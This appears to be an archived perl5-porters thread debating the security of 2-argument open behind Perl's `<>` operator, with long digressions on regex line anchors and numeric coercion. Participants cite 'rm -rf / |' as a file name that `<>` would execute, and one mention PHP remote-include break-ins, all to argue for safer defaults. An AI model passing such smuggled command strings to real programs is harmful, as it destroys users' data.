>a problem. > > > >By "break" you mean - fail to allow the use of ">" in the >beginning of a file, which is a pretty minimal case. > >Again - show examples of this problem in the field. > >Cheers, >mark > > >-- >Mark Mielke <mark@mielke.cc> <mailto:mark@mielke.cc> > >______________________________________________________________________ >This email has been scanned by the MessageLabs Email Security System. >For more information please visit >http://www.messagelabs.com/email >______________________________________________________________________ > >
Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 16:27:15 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.5k
Aristotle Pagaltzis wrote: Show quoted text
> Then you have not been following the goings-on in the PHP world. > (I would have said “not very closely” but I don’t follow them > closely either and I knew of this problem.) Remember that PHP is > essentially a templating system, a special-purpose language like > shell rather than a general-purpose one like Perl. Its `include` > originally served the same purpose as `INCLUDE` does in Template > Toolkit, and unsurprisingly people use it that way. So things > like `require $page."php";` where `page` is a query string > parameter used to be very, very common up until a few years ago > when they started getting exploited en masse. (I was witness to > two separate break-ins that were initiated this way, on different > systems, with escalation of privileges used to compromise the > whole machine in both cases.) If such usage is uncommon now, that > is because many people *did* get burned and word of mouth about > the danger has spread. > >
Ah. No - I haven't followed that particular issue. I do something similar to the above in my own scripts, but I require the passed in string contain only A-Z, a-z, and 0-9. I can see how somebody without any knowledge would fail to do the check. In this case, I guess you are saying http:// makes things easier to exploit remotely. The code is still broken whether remote or local, but with remote, you could easily provide your own code to run without having login access to the system. Yes? Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open -?It'safeature
Date: Sun, 27 Jul 2008 23:12:24 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 946b
On Sun, Jul 27, 2008 at 02:11:00PM +0000, Ed Avis wrote: Show quoted text
> > Reading files given on the command line should not be hard. It is not > too much to ask that it just work, 100% of the time.
Perl already has functionality to read files that is not hard, and doesn't fail, not even if you don't want to think about special characters. It's called "open". Note that I'm not disagreeing with the fact it's possible someone, somewhere gets tripped up by the fact "while (<>)" uses 2-arg open. Nor am I disagreeing that it might have been better if Perl 1 would have had 3-arg open, and "while (<>)" had used said 3-arg open from the beginning. But I'm strongly against the idea of changing a commonly used construct that has been around for more than a dozen years, just to solve a theoritical problem. The problem can be already be solved easily (using current Perl); it just doesn't seem worth to break backwards compatability for it. Abigail
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 23:20:12 +0200
To: Johan Vromans <jvromans [...] squirrel.nl>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 798b
On Sat, Jul 26, 2008 at 11:11:38PM +0200, Johan Vromans wrote: Show quoted text
> Mark Mielke <mark@mark.mielke.cc> writes: >
> > Do you have evidence? Perhaps a list of filenames from 1988, 1998, and > > 2008, to compare against?
> > Ah, come on. There are many more people in 2008 using some Linux with > Firefox, Thunderbird and OpenOffice than there were in 1998 and 1988. > There are many more people in 2008 using some Linux totally unaware of > command line shells and special characters than there were in 1998 and > 1988. The chances that files with special characters in their names > are created is therefore bigger in 2008 than they were in 1998 and > 1988.
Oh, come on. In 1988, Perl was the new kid on the block, in 1998 Perl was ruling the Internet, and in 2008 Perl is dying anyway. Abigail
CC: perl5-porters [...] perl.org
Subject: SupernummifragilisticXPialidocious (was: [perl #2783] Security of ARGV using 2-argument open)
Date: Sun, 27 Jul 2008 17:42:05 -0600
To: Zefram <zefram [...] fysh.org>, Mark Mielke <mark [...] mark.mielke.cc>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 13.3k
In-Reply-To: Message from Zefram <zefram@fysh.org> of "Sat, 26 Jul 2008 12:03:14 BST." <20080726110314.GY6303@fysh.org> Show quoted text
> Mark Mielke wrote:
Show quoted text
>> I don't understand. What is /$/ reasonably supposed to do?
Show quoted text
> It is very frequently used in an attempt to anchor to the end of the > string. Such as
Show quoted text
> die "invalid keyword" unless $keyword =~ /^(foo|bar|baz)$/;
Show quoted text
> In this context the programmer usually doesn't intend to accept "foo\n". > Newline is a shell metacharacter, of course, and often significant in > file formats, so there's lots of scope for breakage.
Show quoted text
>> Please point out a real-life >> program that uses /$/ that isn't mere theory.
Well, I once had to fix File::Find and many and various other standard filename-related modules because they nigheevely used /./ when they needed /./s and /$/ when they needed /\z/, causing them to break on certain directories with newlines in them. Still, what can you do? People make ugly things, and nothing tells them not to. Due to just exactly what Johan has mentioned, I've trained myself to pretty much always run: % find DIR .... -print0 | xargs -0 .... instead of % find DIR .... -print | xargs .... Show quoted text
> I presume you mean a real-life program that misbehaves due to misuse > of /$/. On a quick look through /usr/local/share/perl, I found this > in Carp::Clan:
Show quoted text
> : unless ( /^-?\d+(?:\.\d+(?:[eE][+-]\d+)?)?$/ > : ) # Looks numeric > : { > : s/([\\\'])/\\$1/g; # Escape \ and ' > ...
Show quoted text
> This is used when displaying function arguments in a stack trace: it's > trying to show numeric values as unquoted numbers and any other defined > value as a quoted string. So these are how it's meant to work:
Show quoted text
> $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo('abc') called at -e line 1 > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc\n")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo('abc\x0A') called at -e line 1 > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo(123) called at -e line 1 > $
Show quoted text
> And this one goes wrong:
Show quoted text
> $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123\n")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo(123 > ) called at -e line 1 > $
Show quoted text
> OK, this one's not likely to produce a security hole, but it's just the > first instance I set eyes on. It's a very common antipattern.
Antipattern? Anyway, /^-?\d+(?:\.\d+(?:[eE][+-]\d+)?)?$/ isn't the only thing that gets this "wrong". Perl considers a "123\n" a number fine and proper, emitting nary a peep upon its consideration as such. % perl -WE 'say "123\n" * 2' 246 Do you somehow disagree? Perhaps 0+ should be added to Carp::Clan. And lest you think Perl's completely bonkers, it doesn't particularly like (nor, unfortunately, altogether dislike) other gunk following after that newline: % perl -WE 'say "123 men\n" * 2' Argument "123 men\n" isn't numeric in multiplication (*) at -e line 1. 246 The limits of this can be readily demonstrated with the following little program. But it gives very different answers and kvetches depending on how you run it. use strict; use warnings; use Scalar::Util qw[ looks_like_number ]; $| = 1; my @strings = ( "123", "123\n", "1", "1 ", " 1", " 1 ", " 1 \n", "0", "+0", "-0", "00", "00.00", "Inf", "-Inf", "+Inf", "NaN", "nAn", "Nan ", "6.02e23", "9e555", "037", "0xFF", "3 blind mice", ); for my $str (@strings) { printf("%-15s looks %s a number (nummishly %s)\n", qq<"$str">, looks_like_number($str) ? "like" : "UNLIKE", (0+$str), ); } First, the output when run through perl5.8.7; note the dubious operations upon NaN and Inf, and the useful warnings. "123" looks like a number (nummishly 123) Newline in left-justified string for printf at /tmp/num line 19. "123 " looks like a number (nummishly 123) "1" looks like a number (nummishly 1) "1 " looks like a number (nummishly 1) " 1" looks like a number (nummishly 1) " 1 " looks like a number (nummishly 1) Newline in left-justified string for printf at /tmp/num line 19. " 1 " looks like a number (nummishly 1) "0" looks like a number (nummishly 0) "+0" looks like a number (nummishly 0) "-0" looks like a number (nummishly 0) "00" looks like a number (nummishly 0) "00.00" looks like a number (nummishly 0) "Inf" looks like a number (nummishly 0) "-Inf" looks like a number (nummishly 0) "+Inf" looks like a number (nummishly 0) "NaN" looks like a number (nummishly 0) "nAn" looks like a number (nummishly 0) "Nan " looks like a number (nummishly 0) "6.02e23" looks like a number (nummishly 6.02e+23) "9e555" looks like a number (nummishly Inf) "037" looks like a number (nummishly 37) Argument "0xFF" isn't numeric in addition (+) at /tmp/num line 19. "0xFF" looks UNLIKE a number (nummishly 0) Argument "3 blind mice" isn't numeric in addition (+) at /tmp/num line 19. "3 blind mice" looks UNLIKE a number (nummishly 3) Now the output when run through perl5.10.0; note the absence of the now-missing warning about newlines: "123" looks like a number (nummishly 123) "123 " looks like a number (nummishly 123) "1" looks like a number (nummishly 1) "1 " looks like a number (nummishly 1) " 1" looks like a number (nummishly 1) " 1 " looks like a number (nummishly 1) " 1 " looks like a number (nummishly 1) "0" looks like a number (nummishly 0) "+0" looks like a number (nummishly 0) "-0" looks like a number (nummishly 0) "00" looks like a number (nummishly 0) "00.00" looks like a number (nummishly 0) "Inf" looks like a number (nummishly 0) "-Inf" looks like a number (nummishly 0) "+Inf" looks like a number (nummishly 0) "NaN" looks like a number (nummishly 0) "nAn" looks like a number (nummishly 0) "Nan " looks like a number (nummishly 0) "6.02e23" looks like a number (nummishly 6.02e+23) "9e555" looks like a number (nummishly Inf) "037" looks like a number (nummishly 37) Argument "0xFF" isn't numeric in addition (+) at /tmp/num line 19. "0xFF" looks UNLIKE a number (nummishly 0) Argument "3 blind mice" isn't numeric in addition (+) at /tmp/num line 19. "3 blind mice" looks UNLIKE a number (nummishly 3) Finally, here's the output when run through perl5.10.0 -Mbignum, where some things improve: "123" looks like a number (nummishly 123) "123 " looks like a number (nummishly 123) "1" looks like a number (nummishly 1) "1 " looks like a number (nummishly 1) " 1" looks like a number (nummishly 1) " 1 " looks like a number (nummishly 1) " 1 " looks like a number (nummishly 1) "0" looks like a number (nummishly 0) "+0" looks like a number (nummishly 0) "-0" looks like a number (nummishly 0) "00" looks like a number (nummishly 0) "00.00" looks like a number (nummishly 0) "Inf" looks like a number (nummishly NaN) "-Inf" looks like a number (nummishly NaN) "+Inf" looks like a number (nummishly NaN) "NaN" looks like a number (nummishly NaN) "nAn" looks like a number (nummishly NaN) "Nan " looks like a number (nummishly NaN) "6.02e23" looks like a number (nummishly 602000000000000000000000) "9e555" looks like a number (nummishly 9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) "037" looks like a number (nummishly 37) "0xFF" looks UNLIKE a number (nummishly 255) "3 blind mice" looks UNLIKE a number (nummishly NaN) So although some aspects improve with bignum, others suffer. If "0xFF" looks UNLIKE a number, then why pray tell is 0+it reporting 255? And why special treatment for 0xFF but not for 037, which 0+ doesn't convert to 31? I suppose I can see some thin thread of sense here, but I may have to cross my eyes to do so. Reminds me a bit of this perplexity: DB<1> $h{0xff} = 1 DB<2> $h{040} = 2 DB<3> $h{32} = 3 How many hash keys? 2 or 3? DB<4> x \%h 0 HASH(0x3c3fcd34) 255 => 1 32 => 3 Or with this: DB<5> $h{time} = 4 DB<6> $h{ time } = 5 DB<7> $h{date} = 6 DB<8> $h{ date } = 7 How many more keys, and how many of those are alphas? DB<9> x \%h 0 HASH(0x3c3fcd34) 255 => 1 32 => 3 'date' => 7 'time' => 5 I don't mean that I'm particularly perplexed. But you'd be astonished at all the folks who guessed this would do something other than it did at TPC last week: (well, virtually) *everybody*, including many people you'd've thought would've known better. :-) Why is it doing this? Because to earn "bareword treatment", it must be a legal identifier starting with an alphabetic or underscore, and only *then* does it get to be alphanumunders thereafter. That means date and time are treated as string literals, that is, "date" and "time" (not as "date" and time(), as one venerable illustriarch had vainly hoped); whereas the numbers are treated not as string literals but rather as numeric ones, for they start with neither an alpha *nor* an underline. % perl -Mcharnames=:full -E'say 32 =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 0 Hey, it's better than /^[^\d\W]/! % perl -Mcharnames=:full -E'say "0xFF" =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 0 % perl -Mcharnames=:full -E'say 0xFF =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 0 % perl -Mcharnames=:full -E'say "FF" =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 1 % perl -Mcharnames=:full,latin -E'say "\N{e WITH CEDILLA AND BREVE}" =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 1 So the {040} is *not* {"040"}, and therefore it's {32}; same with the {0xff} not being {"0xff"}, but {255}. The => would do the same, as this demos: % perl -Mcharnames=:full -wE'say [time<=time]<-[0] =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 0 Oops, I meant :-) % perl -Mcharnames=:full -wE'say [time=>time]->[0] =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 1 % perl -Mcharnames=:full -wE'say [time=>time]->[1] =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 0 which is quite unlike % perl -Mcharnames=:full -E'say [date=>date]->[0] =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 1 % perl -Mcharnames=:full -E'say [date=>date]->[1] =~ /^ [ \p{ Alpha } \N{LOW LINE} ] /x || 0' 1 And for your further bemusement: % perl -Mcharnames=:full -E'say _XYZZY_ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 % perl -Mcharnames=:full -E'say _FILE_ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 % perl -Mcharnames=:full -E'say _LINE_ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 % perl -Mcharnames=:full -E'say _DATA_ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 % perl -Mcharnames=:full -E'say __DATA__ =~ /^[\pL \N{LOW LINE}]/x || 0' :-> % % perl -Mcharnames=:full -E'say ___DATA___ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 % perl -Mcharnames=:full -E'say __FILE__ =~ /^[\pL \N{LOW LINE}]/x || 0' 0 % perl -Mcharnames=:full -E'say __LINE__ =~ /^[\pL \N{LOW LINE}]/x || 0' 0 % perl -Mcharnames=:full -E'say __PACKAGE__ =~ /^[\pL \N{LOW LINE}]/x || 0' 1 For a good time(), first do this: % alias unperl "perl -MO=Deparse,-q,-x=9,-p" Then rerun some of those above with unperl instead of with perl. And have a nice day. :-) --tom -- numinous: Of or pertaining to a numen; divine, spiritual, revealing or suggesting the presence of a god; inspiring awe and reverence. numismatic: A) Of, pertaining or relating to, coins or coinage B) The study of coins and medals, esp. from an archaeological or historical standpoint. mummify: To make into a mummy; to preserve (the bodies of animals) by embalming and drying. Also, to dry into the semblance of a mummy. dummify: A) To undergo a laryngectomy. B) To install Windows on a Mac.
CC: Zefram <zefram [...] fysh.org>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - historicity
Date: Sun, 27 Jul 2008 18:17:27 -0600
To: Mark Mielke <mark [...] mark.mielke.cc>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 1.8k
In-Reply-To: Message from Mark Mielke <mark@mark.mielke.cc> of "Sat, 26 Jul 2008 16:29:40 EDT." <488B8934.3050204@mark.mielke.cc> Show quoted text
> Users who don't read the document will always be surprised. In > standard Unix, passing a "-" in has traditionally meant STDIN.
For input; for output, it's meant stdout, the standard output. Compare % tar cf - | gzip > foo.tar.gz % gunzip < foo.tar.gz | tar xf - As for piping to/fro "-", that's a Perl innovation, but it still means "to/fro the *standard* thing" (of which [per Descartes] the only such standard upon whose existence we can be certain is the very querent it/him/our/themself; hence, the fork, being ourselves of the only entity guaranteed to exist). Show quoted text
> One could argue that an experienced user might be "surprised" that "-" > was NOT interpreted as STDIN. This argument is entirely relative to > the person's expectations.
Show quoted text
> In this case, the expectations should be well instilled. Perl has done > what it has done for over a decade,
While what you said is not false, it doesn't convey the historicity. You could have said over a month and been equally correct. Perl has *always* done this. Witness: % perl1 -e 'while(<>) {print "$ARGV $. $_";}' /etc/motd - /etc/motd < /etc/motd /etc/motd 1 This particularly rapid unintelligible patter /etc/motd 2 isn't generally heard and if iTIS it doesn't matter. - 3 This particularly rapid unintelligible patter - 4 isn't generally heard and if iTIS it doesn't matter. /etc/motd 5 This particularly rapid unintelligible patter /etc/motd 6 isn't generally heard and if iTIS it doesn't matter. % perl1 -v $Header: perly.c,v 1.0 87/12/18 15:53:31 root Exp $ Patch level: 0 Show quoted text
> and if somebody is truly surprised today - they should pick up the > manual and give it another read.
Even in our post-literate uncivilization? :-( --tom
CC: perl5-porters [...] perl.org
Subject: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Sun, 27 Jul 2008 19:59:24 -0600
To: Zefram <zefram [...] fysh.org>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 9.1k
In-Reply-To: Message from Zefram <zefram@fysh.org> of "Sat, 26 Jul 2008 23:18:19 BST." <20080726221819.GA15269@fysh.org> Show quoted text
> I think <> could be changed, however. I'm OK with it continuing to > process "-" as stdin; you're right that this is a common Unix > convention. But its handling of ">foo" and "rm -rf / |" are certainly > not conventional. I think (unlike /$/) that the intentional uses of > those features are sufficiently rare that it's worth breaking them to > make the operator less surprising for everyone else.
That, I'll get to that later. Show quoted text
> I am mystified as to the circumstances under which one might actually > want the behaviour of /$/ (without /m) or /^/m.
Really? I wonder why, as those are easily demonstrated. For /(?-m:$)/, we have simply: while (<>) { last if /^END$/; ... } Why? Well, why should you chomp if you aren't going to use it anyway? For /(?m:^)/, or for that matter, /(?-s:.)/, this is to aid dealing with multiline records. $/ = q##; while (<>) { if (/^STATE\s+(.*)$/m) { # might be in the middle of the rec $state = $1; } } It's a lot easier to type ^ and $ than \A and \Z I mean \z, and usually these suffice. Which is good, for otherwise we'd have to invert their meanings and break all hope of fulfilling fair expectation. Show quoted text
> Certainly they can be correctly used, with a bit of care, but as far as > I can see they never completely match the actual semantics of what > constitutes a line start or end.
I'd say that you can't see very far, for to my eye, they do indeed. It's not complicated, even though you seem to want it to be. You want the traditional behavior of /$/ because /$/ in ed, sed, awk, vi, lex, grep, etc has always anchored to the end of the line. And those logical lines do *not* end in a literal (hm, actually, it's virtual) \n that's user-accessible. So /foo$/ meant the foo at the end of the line. In Perl, it still does--BY DESIGN. Larry wanted people to be able to use the same patterns they'd always used. And he did, and they did, and all were content with this for many years. Maybe it's a Ken-thing (Ken Thompson, that is). When Rob Pike wrote the Plan 9 editor, sam, *Rob* sure wasn't content with it. He specifically wanted to let the user's patterns transcend mere line boundaries, and he had to change a few ways of thinking to do so. I no longer recall whether these including . and $, but you could look it up. There's a specific connection between all these elements of Perl: while (<>) { next if /^#/ || /SKIP$/; @fields = split; ..... } That connection is that they are "newline-tolerant", not "newline- sensitive". They are liberal in what they consume, per the maxim. And don't forget that easy things should be easy. They have built-in conveniences both for domain-specific programming of the filter variety, and also for those who forget to chop (now chomp), since in previous programming endeavors using the shell, or sed, or awk, or even C's deprecated gets(), the newline *WAS*NOT*STORED*. And so people, especially EXPERIENCED PEOPLE, *will* forget to chop or chomp. It was therefore a CYA DWIM convenience for this very scenario to have split discard trailing null fields (after all, awk doesn't consider there to be an extra null field after the newline) and to have /$/ permit one to have one's newline and eat it, too. I'm not just making this up, either. I specifically asked Larry on these historical matters of design decisions, and this was what he told me. Show quoted text
> I think these (<> and some of the regexp things) are unreasonably > difficult to understand.
While I see that you yourself have some difficulty, one cannot--and should not--casually extrapolate one particular user's conceptual troubles to an entire community or user-base. Perhaps it was not well-explained to you. I don't know. But I firmly believe that programmers who'd rather write, or see written, this sort of sequence: if (@ARGV == 0) { @ARGV = ("-"); } ARGUMENT: while (@ARGV != 0) { $ARGV = shift(@ARGV); $ARGV = "<&=STDIN" if $ARGV eq "-"; # that's an fdopen(3S); use <&STDIN (or <&0)for dup2(2) unless (open(ARGV, $ARGV)) { print STDERR "Can't open $ARGV: $!\n"; next ARGUMENT; } LINE: while (defined($line = readline(*ARGV))) { if ($line =~ /^=for\s+(index|later)/) { next LINE; } $chars = $chars + length($line); $words = $words + split(" ", $line, 0); $lines = $lines + ($line =~ tr[\n][]); } } instead of just while (<>) { next if /^=for\s+(index|later)/; $chars += length; $words += split; $lines += y/\n//; } or even better #!/usr/bin/perl -n next if /^=for\s+(index|later)/; $chars += length; $words += split; $lines += y/\n//; are few and far between. They do not understand Perl's *spirit*, and probably never shall. Probably they've long-ago abandoned Perl (I sure hope so, for all of our sakes' :-) due to their cognitive impedance (fancy-talk for head-banging) with its philosophy: perhaps moving to Python, perhaps moving to C, perhaps simply moving out of programming. Yes, you'd have to add an END{} block for emitting the counts for characters, words, and lines in the perl -n set-up, but big deal. I think this a just demonstration of what Perl's input operator was designed for, both for how it interacts with defaults on other functions, operators, and operations and also for the synergistic convenience of these working together--which, even if you choose to consider it a domain-specific filter-like language, is still an admirable achievement. The implicit versions are dramatically easier to maintain and understand -- assuming one has the least experience with the language. Learn once, use many. You don't read a French novel without knowing French. Show quoted text
> /^/m is so difficult to understand that its > own implementors have trouble with it.
You think so? I'd say that /\b$VAR/ or /$VAR\B/ is far harder to explain to someone than m/^/m is. But boundaries are always tough. That $VAR might be "fred" or "+=" (or "cat's" vs "cats'"!) deeply changes what sort of assertion \b is making is a tough thing. Also, string ends are always boundaries no matter what, which isn't quite what you for one might expect. % perl1 -e 'print "abc" =~ /c\b/ || 0, "\n";' 1 % perl4.036 -e 'print "abc" =~ /c\b/ || 0, "\n";' 1 % perl5.10.0 -e 'print "abc" =~ /c\b/ || 0, "\n";' 1 And yes, that's newline-tolerant. :-) Given that "c" is a /\w/ char, you'd perhaps think that the \b might only mean that there must be a /\W/ following it--but it doesn't. This may even be similar after a certain fashion to whatever it is you're grumping over m/^/m about. This isn't true for the other flavor of \b, though. % perl1 -e 'print "===" =~ /=\b/ || 0, "\n";' 0 % perl4.036 -e 'print "===" =~ /=\b/ || 0, "\n";' 0 % perl5.10.0 -e 'print "===" =~ /=\b/ || 0, "\n";' 0 Show quoted text
> It was documented incorrectly in perlre for years, until I discovered > the undocumented /(?!\z)/ bit of its behaviour and pointed it out (bug > #27053, resolved by a documentation change in 5.10).
Undocumented? Of that I'm not sure, and I couldn't see a unidiff that showed a doc change. But what's happening is far more simple than you make it out to be (per usual). Perl is merely being newline-tolerant again. It's trying to follow what people are expecting to happen if they pulled that string into their editor and set line numbers on. And it does. % perl -le 'print scalar ( () = ("abc" =~ /^/mg) )' 1 % perl -le 'print scalar ( () = ("abc\n" =~ /^/mg) )' 1 % perl -le 'print scalar ( () = ("\nabc" =~ /^/mg) )' 2 % perl -le 'print scalar ( () = ("\nabc\n" =~ /^/mg) )' 2 % perl -le 'print scalar ( () = ("abc\ndef\n" =~ /^/mg) )' 2 % perl -le 'print scalar ( () = ("abc\ndef" =~ /^/mg) )' 2 % perl -le 'print scalar ( () = ("abc\ndef\n\n" =~ /^/mg) )' 3 % perl -le 'print scalar ( () = ("\nabc\n\ndef\n\n" =~ /^/mg) )' 5 Show quoted text
> I understand these operators. I will jump through the necessary hoops to > write the program that I intend, even if the hoop is using a 20-character > regexp (as in the table above) instead of the single character that > I know from grep. Not to put too fine a point on it, I'm unburned > because I know the language inside out and I'm anal about correctness.
I'm uncertain you needed those last couple of words, and the earlier ones don't particularly help your case much, either--considering. Show quoted text
> I'm in a small minority on all three points.
Not to mention modesty, which is a good thing you didn't. Show quoted text
>> Users who don't read the document will always be surprised.
Show quoted text
> Users who read the documentation for perl programs that use <> (such > as our hypothetical wc-in-perl) generally don't get told about the > magic meaning of "rm -rf / |" as an argument. They will be surprised > and burned by the present behaviour.
No, they won't; you're being absurd and alarmist. But as I've had quite enough of your ranting for the night, that means you get to wait until my morrow, or more, to learn why you're wrong--and how. Relish that interim. --tom -- END { close(STDOUT) || die "can't close STDOUT: $!" }
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Mon, 28 Jul 2008 08:07:13 +0200
To: "Ed Avis" <eda [...] waniasset.com>
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 1.4k
2008/7/27 Ed Avis <eda@waniasset.com>: Show quoted text
> Rafael Garcia-Suarez <rgarciasuarez <at> gmail.com> writes: >
>>I'd rather introduce a new syntax <<>> for unsafe angles. (and make <> >>safer) (but keep - = stdin)
> > Instead of a new operator just for this, how do you feel about a differently > named filehandle <MAGIC_ARGV> as I suggested in another post? It seems a bit > clearer to me than <<>> and requires no grammar changes.
I don't like that name, even if it's descriptive. Show quoted text
> It would be cool to allow modules to be written to override the default > MAGIC_ARGV filehandle and provide their own magic, for example > > use magic_argv_uri; # fetches http: etc. > use magic_argv_wildcards; # provides 'super wildcards' like ** > use magic_argv_dosish; # accept Windows \ style filenames on Unix
Isn't this more like readline() override ? (grep for readline_overriden in toke.c) Show quoted text
> One way for the module to do that would be to close MAGIC_ARGV and make its own, > but then you could not stack them. Anyway I am just speculating here, the point > is that if we organize a divorce between the magicians who want 'hostname|' to > fork a process and the killjoys who just want it to read a file with that name, > then all sorts of new and powerful magic can be let loose (perhaps as a per-user > or system-wide setting) without stepping on the toes of those who just want to > read some files and continue with their boring lives.
Right.
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 07:22:13 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.3k
Tom Christiansen <tchrist <at> perl.com> writes: Show quoted text
>But I firmly >believe that programmers who'd rather write, or see written, this >sort of sequence:
[long tedious code of processing ARGV by hand] Show quoted text
>instead of just > > while (<>) { > next if /^=for\s+(index|later)/; > $chars += length; > $words += split; > $lines += y/\n//; > }
Show quoted text
>are few and far between.
Indeed. I would much rather write while (<>). At the moment I can't, at least not unless I add a 'notes and gotchas' section to my program's manual page noting that it will open the wrong file if a filename has trailing spaces, overwrite some random other file if a filename begins with >, and start running arbitrary external commands if a filename begins or ends |. (See earlier discussion for why I and others believe this is a real problem and not just being pedantic.) I love the idea of the <> shortcut. Done safely, it could and should be one of perl's strengths. That is why I am concerned to make it usable without a list of obscure corner cases where it does something wrong and potentially dangerous. As you say, easy things should be easy. Surely reading lines from the files on the command line (safely, no ifs, no buts) is one of those easy things. At the moment it's not, because the programmer has to write that long code example you gave. Let's make it easy. -- Ed Avis
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 08:27:42 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 3.4k
Tom Christiansen wrote: Show quoted text
>For /(?-m:$)/, we have simply: > > while (<>) { > last if /^END$/;
This is one of the cases that I classified as "using $ correctly although it doesn't actually match the line-ending semantics". Applying the formulation you used on /^/m: $ perl -le 'print scalar(()=("abc\n" =~ /$/g))' 2 $ This line has two ends? Consider running the pattern /c\s$/, which matches "abc ", "abc \n", and, er, "abc\n". (Perl6's "horizontal whitespace" concept would help with this one.) It at least has the right number of beginnings (as judged by /^/). Show quoted text
>That connection is that they are "newline-tolerant", not "newline- >sensitive".
Point taken. That's a case that I missed from my table of sane line-delimiting rules. So the semantic you're aiming for in the single-line case is that the line ends before the final "\n" if there is a "\n" at the end, and otherwise ends at the end of the string. In this case the appropriate meaning for /$/ would be /(?=\n\z)|(?<!\n)\z/. This matches exactly once per string. This still leads to accepting unintended characters when programmers use the newline-tolerant anchor on input where contextually a trailing \n is not an (insignificant) line terminator. Unperlish this thought may be, but I think Perl would have been a better language if it provided separate line-ending anchors for the newline-terminated and undelimited-line cases and encouraged their use. It would have avoided this large class of bugs. Show quoted text
>You want the traditional behavior of /$/ because /$/ in ed, sed, awk, vi,
Yes, I well see the concept of "line end" that is being aimed for. I'm saying that Perl doesn't actually achieve it. Show quoted text
>Undocumented? Of that I'm not sure, and I couldn't see a unidiff that >showed a doc change.
perlre in 5.8.8: # Embedded newlines will not be matched by "^" or "$". You may, # however, wish to treat a string as a multi-line buffer, such that # the "^" will match after any newline within the string, and "$" # will match before any newline. At the cost perlre in 5.10.0: # Embedded newlines will not be matched by "^" or "$". You may, # however, wish to treat a string as a multi-line buffer, such that # the "^" will match after any newline within the string (except # if the newline is the last character in the string), and "$" # will match before any newline. Show quoted text
> Perl is merely being newline-tolerant again. >It's trying to follow what people are expecting to happen if they pulled >that string into their editor and set line numbers on.
Let's see... /^/m's concept of lines seems to be: (a) there's generally a sequence of \n-terminated lines; (b) however, if the last character isn't a \n then there's a non-empty last line that doesn't have a \n terminator; and (c) if there are no characters at all then this counts as one empty line, rather than no lines. Smells like vi. I can't say I've ever wanted to split up a string into lines this way, but I'll stipulate that it's sane. But /$/m doesn't agree. It has a different concept of lines, and so (as in the single-line case) a lot of the strings you demonstrate on have a different number of line ends from line beginnings (as judged by /$/m and /^/m). /^...$/ and /^...$/m are not matched pairs. Show quoted text
>No, they won't; you're being absurd and alarmist. But as I've had quite >enough of your ranting for the night, that means you get to wait until my >morrow, or more, to learn why you're wrong--and how.
I look forward to it. -zefram
CC: perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 03:31:11 -0400
To: Ed Avis <eda [...] waniasset.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.2k
Ed Avis wrote: Show quoted text
